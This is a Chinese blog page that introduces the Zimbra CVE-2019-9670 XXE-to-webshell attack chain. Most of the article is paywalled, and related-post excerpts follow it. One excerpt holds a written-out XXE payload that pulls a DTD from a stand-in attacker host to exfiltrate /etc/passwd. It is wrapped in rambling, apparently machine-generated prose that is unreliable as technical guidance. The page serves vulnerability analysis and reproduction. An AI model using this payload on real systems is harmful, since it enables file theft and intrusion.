Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析

已于 2024-09-29 20:39:01 修改
阅读量6.2k 收藏 2
点赞数 1
分类专栏： 漏洞复现 分析 检测 文章标签： 安全 web安全 Zimbra CVE-2019-9670 漏洞分析
于 2023-04-19 16:55:03 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/sxr__nc/article/details/130247304
版权

Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析

漏洞简介
Zimbra是著名的开源系统，提供了一套开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。此漏洞的主要利用手法是通过 XXE (XML 外部实体注入) 漏洞读取localconfig.xml配置文件来获取Zimbra admin ldap password,接着通过SOAP AuthRequest认证得到Admin Authtoken,最后使用全局管理令牌通过ClientUploader扩展上传Webshell到Zimbra服务器，从而实现通过Webshell 来达到远程代码执行效果。(需要注意，最后要达到RCE要结合SSRF漏洞，即需要结合另一个漏洞CVE-2019-9621)
漏洞影响范围

Zimbra
了解本专栏 订阅专栏 解锁全文 超级会员免费看
【网络安全】漏洞挖掘之CVE-2019-9670+检测工具
等风来
09-09 2242
CVE-2019-9670 是一个与相关的严重漏洞。ZCS 中的 AutoDiscover 服务存在不正确的 XML 解析处理，该漏洞可被利用来注入恶意 XML 代码（例如外部实体注入（XXE）攻击），从而导致服务器任意文件读取或远程代码执行 (RCE)。Zimbra < 8.7.11 版本中，攻击者可以在无需登录的情况下，实现远程代码执行。Zimbra < 8.8.11 版本中，在服务端使用 Memcached 做缓存的情况下，经过登录认证后的攻击者可以实现远程代码执行。
Zimbra 远程代码执行漏洞(CVE-2019-9670)环境搭建
4SecNet团队专栏
04-12 1789
Zimbra是著名的开源系统，提供了一套开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。
Zimbra CVE-2019-9670 XXE + CVE-2019-9621 SSRF 漏洞复现
部分学习记录
03-12 3115
炒冷饭复现：cve-2019-9670 xxe + cve-2019-9621 ssrf
cve-2025-25064漏洞分析
2301_80552914的博客
02-27 937
Zimbra提供一套开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。
Zimbra漏洞
公众号shadow sock7
08-19 1686
参考： https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html https://nvd.nist.gov/vuln/detail/CVE-2019-9670 https://nvd.nist.gov/vuln/detail/CVE-2016-9924 XXE CVE-2016-9924, CVE-2018-20...
zimbra漏洞利用
kzyyx的博客
08-31 4594
记一次渗透测试zimbra漏洞利用 当时通过界面判断判断出开发利用zimbra搭建的网站。zimbra又存在多个漏洞。 1.首先通过利用了CVE-2019-9670 XXE漏洞来尝试读取/etc/passwd 读取文件成功，证明此漏洞可以被成功利用。 2.接下来读取zimbra的配置文件获取密码，因为配置文件时xml文件，因此需要使用外部dtd获取信息。 请求接口：Post:/Autodiscover/Autodiscover.xml Zimbra配置文件位置为/conf/localconfig.xml 在
SCANV团队：警惕Zimbra高危安全漏洞
爱尖刀科技媒体 - 曲子龙
12-10 1238
【警惕Zimbra高危安全漏洞】近日，scanv团队监测到国外安全研究者在exploit-db网站上披露的关于Zimbra高危“0day”安全漏洞及攻击代码，攻击者利用漏洞可读取邮件服务器上的任意文件，通过获取到的LDAP信息，即可得到所有用户的密码HASH散列。   用户密码采用OpenLADP SHA算法，通过GPU运算即可暴力破解，该漏洞将为企业或机构带来非常严重的数据泄露风险。攻击者还
严重 Zimbra RCE 漏洞遭大规模利用（CVE-2024-45519）
网络研究观
10-02 2048
攻击者正在积极利用 CVE-2024-45519，这是一个严重的 Zimbra 漏洞，该漏洞允许他们在易受攻击的安装上执行任意命令。
[EXP]CVE-2019-9621 Zimbra小于8.8.11 远程代码执行漏洞 XXE GetShell Exploit
K8哥哥
05-08 3424
影响版本： ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。具体来说： Zimbra < 8.7.11 版本中，攻击者可以在无需登录的情况下，实现远程代码执行。 Zimbra < 8.8.11 版本中，在服务端使用 Memcached 做缓存的情况下，经过登录认证后的攻击者可以实现远程代码执行。  GetShell代...
Zimbra邮件服务器利用XXE漏洞与SSRF完成对目标的文件上传与远程代码执行
勤能补拙
04-06 7292
前言 原文地址：https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html 参考文档：https://blog.csdn.net/fnmsd/article/details/88657083 历史版本存在的RCE（远程代码执行）漏洞： CVE-2013-7091本地文件披露漏洞，影响范围为8.0.2以下版本...
开源邮件平台Zimbra 出现新漏洞，用户登录凭据可被盗
smellycat000的专栏
06-15 2070
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士研究人员发现 Zimbra 邮件套件中又出现一个高危漏洞 (CVE-2022-27924)，如遭成功利用可导致未认证攻击者窃取用户明文密码且无需任何用户交互。研究员在报告中指出，“通过对受害者邮箱后续的访问权限，攻击者可能提升对目标组织机构的访问权限，并获得对多种内部服务的访问权限，窃取高度敏感信息。”CVE-2022-...
zimbra邮箱在线口令爆破脚本
02-23
利用python编写的脚本，用于zimbra邮箱服务器的用户口令在线爆破。
Zimbra 小于 8.8.11版本 XXE GetShell EXP.rar
05-08
Zimbra邮件系统<8.8.11 XXE SSRF远程代码执行漏洞GetShell 漏洞描述： 漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 后，通过文件上传在服务端执行任意代码，威胁程度极高。当Zimbra服务端打来Memcached缓存服务是，可以利用SSRF攻击进行反序列化执行远程代码。不过由于Zimbra在单服务器安装中尽管Memcached虽然启动但是并没有进行使用，所以其攻击场景受到限制。 影响版本： ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。具体来说： 1. Zimbra < 8.7.11 版本中，攻击者可以在无需登录的情况下，实现远程代码执行。 2. Zimbra < 8.8.11 版本中，在服务端使用 Memcached 做缓存的情况下，经过登录认证后的攻击者可以实现远程代码执行。
TA473 使用 Zimbra 漏洞攻击欧洲与北约的邮件系统
wangluoanquan111的博客
08-03 3452
研究人员跟踪发现了部分可能是自定义 CSRF JavaScript 代码的实例，这些代码通过 CVE-2022-27926 来进行攻击。TA473 将其作为URL 超链接嵌入钓鱼邮件的正文中，这些 CSRF JavaScript 代码会由存在漏洞的邮件服务器执行。这些 JavaScript代码复制并依赖于模拟本机 Web 邮件门户的 JavaScript 代码，以返回攻击目标的用户名、密码与 CSRF Token 等关键 Web请求详细信息。
黑客正在利用Zimbra ZCS中的未修复RCE漏洞
smellycat000的专栏
10-10 1005
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士Zimbra 公司的企业协作软件和邮件平台中存在一个严重的远程代码执行漏洞且正遭活跃利用，目前尚不存在补丁。该漏洞的编号是CVE-2022-41352。该漏洞的CVSS评分为9.8，可导致攻击者上传任意文件并在受影响安装程序上执行恶意操作。网络安全公司Rapid7 在分析文章中指出，“该漏洞是因为Zimbra的反病毒引擎 Amavis扫描进站邮件...
CVE-2022-27925Zimbra Collaboration存在路径穿越漏洞最终导致RCE
include_voidmain的博客
07-07 3311
CVE-2022-27925Zimbra Collaboration存在路径穿越漏洞最终导致RCE
CVE-2018-6882 Zimbra邮件系统XSS漏洞利用
weixin_30343157的博客
05-08 1621
CVE-2018-6882是一个存储型XSS漏洞，利用该漏洞可获取目标邮箱的收件箱、发件箱等邮件内容。也可以给目标邮箱绑定一个“辅助邮箱”，当目标邮箱收到新邮件时“辅助邮箱”也会收到相同的邮件，实现对目标邮箱的实时监控。 漏洞细节请大家参考这篇文章：https://www.securify.nl/advisory/SFY20180101/cross-site-scripting-vu...
[EXP]CVE-2019-9621 Zimbra<8.8.11 GetShell Exploit(配合Cscan可批量)
weixin_30414245的博客
05-06 1170
发现时间 2019年03月18日 威胁目标 采用Zimbra邮件系统的企业 主要风险 远程代码执行 攻击入口 localconfig.xml 配置文件 使用漏洞 CVE-2019-9621 受影响应用 ZimbraCollabora...
利用CVE-2013-7091漏洞完成对zimbra 8.0.2以下版本的远程用户提权
勤能补拙
02-26 3526
一、环境安装 首先完成在ubuntu 12.04LTS环境下zimbra 8.0.2的安装及配置。 本机DNS解析：  启动安装完毕之后的zimbra： 进入管理员界面https://mail.server2.com:7071创建两个普通帐户收发邮件测试zimbra可以正常运行： 二、创建漏洞脚本 漏洞脚本使用ruby编译，并且在windows环境下运行，共有两个rb文件。 ...
xxe漏洞复现ssrf
最新发布
03-27
### XXE漏洞与SSRF的关系 XXE（XML External Entity）漏洞允许攻击者通过恶意构造的外部实体引用，读取服务器上的文件或其他资源。而SSRF（Server-Side Request Forgery）是一种让目标服务器发起请求到指定地址的安全问题。两者可以通过特定方式结合使用，在某些场景下实现更复杂的攻击效果。 例如，XXE可以和SSRF一起用于探测其他内网主机的信息，基于HTTP协议进行端口扫描或服务发现[^1]。这种组合能够使攻击范围扩大至内部网络中的更多资产。 --- ### Zimbra RCE漏洞背景及其利用关系 在一些复杂的应用程序中，多个安全缺陷可能相互关联形成更大的威胁模型。比如Zimbra远程代码执行漏洞(CVE-2019-9670)，其完整的RCE链依赖于另一个SSRF漏洞(CVE-2019-9621)[^2]。尽管官方文档提到需要两个漏洞配合才能达成最终的目标——即完全控制受害者的机器；但实际上也有方法绕过此限制单独触发该功能模块从而直接获得shell权限的情况发生(具体细节未公开披露)。 这表明即使缺少明确标注出来的辅助条件也可能找到替代路径去完成整个攻击链条的设计意图之外的操作行为模式转换过程中的可能性探索方向之一就是寻找是否存在类似的逻辑错误或者配置不当之处作为突破口来进行尝试突破现有的防护机制进而达到预期目的的同时还应该考虑到实际环境中可能会遇到的各种阻碍因素影响最终成功率高低程度不同而已。 --- ### 复现步骤概述 为了验证上述理论假设成立与否并通过实践检验得出结论证明观点正确无误的话，则需按照如下方式进行操作： #### 准备工作 1. **环境搭建**: 使用虚拟机创建隔离测试环境，安装易受攻击版本的服务软件实例。 2. **工具准备**: 下载并启动Burp Suite社区版用作中间拦截器角色以便后续手动调整数据包内容后再转发出去供进一步分析研究之用。 #### 实际演练部分 ##### 设置代理连接 在浏览器里设定好相应的出口通道指向本地监听端口号之后加载含有潜在风险点位链接地址页面时自动将所有通信流量导向我们事先布置好的陷阱装置等待捕捉感兴趣的数据片段回来审查是否有异常现象出现值得深入挖掘下去的价值所在之处存在即可视为成功捕获有效样本素材可供下一步骤处理使用前先保存原始状态副本留档备案以防万一丢失重要线索证据材料造成无法挽回的局面后果严重必须谨慎对待每一个环节都不能马虎大意才行啊同志们加油干吧！ ```plaintext GET /vuln/xxetest.php HTTP/1.1 Host: target-site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ``` ##### 构造Payload 接着把刚才截获下来的未经修改过的原样复制粘贴过来放到重复发送窗口里面替换掉原有的参数字段值换成精心设计制作而成的新颖独特而又充满危险性的特殊字符序列结构形式表现出来看看会发生什么有趣的事情呢？让我们拭目以待吧朋友们！ ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY % remote SYSTEM "http://attacker-server/payload.dtd"> <!ENTITY % init "<!ENTITY % send SYSTEM 'file:///etc/passwd'>"> ]> <reset> <login>admin;%send;</login> <secret>Any bugs?</secret> </reset> ``` 注意这里引入了一个外部DTD定义文件`payload.dtd`，它包含了更多的指令用来指示解析引擎如何去构建新的实体标签嵌套层次关系直到最后一步才真正暴露核心秘密武器位置信息泄露给外界观察员看到为止才算圆满完成任务使命结束啦哈哈哈哈哈！！！ --- ### 结果评估标准说明 当以上所有的准备工作都顺利完成以后就可以静候佳音传来好消息咯~ 如果一切正常顺利的话那么你应该能够在自己的监控屏幕上清晰地看见来自受害者那边传来的回应消息当中携带了原本不应该被轻易获取得到的秘密情报资料比如说操作系统用户名列表之类的敏感隐私类别的东西就充分证明我们的实验取得了圆满的成功成果喜人呀各位小伙伴们快来庆祝一番吧😊🎉👏 当然啦除了单纯追求技术层面的乐趣体验之外更重要的是要从中吸取教训总结经验不断提高自身的网络安全意识水平时刻保持警惕防止自己成为下一个倒霉蛋哦记住一句话叫做“道高一尺魔高一丈”永远不要低估敌人可能拥有的强大实力好吗谢谢大家听我说完这些话希望对你们有所帮助再见👋~ ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值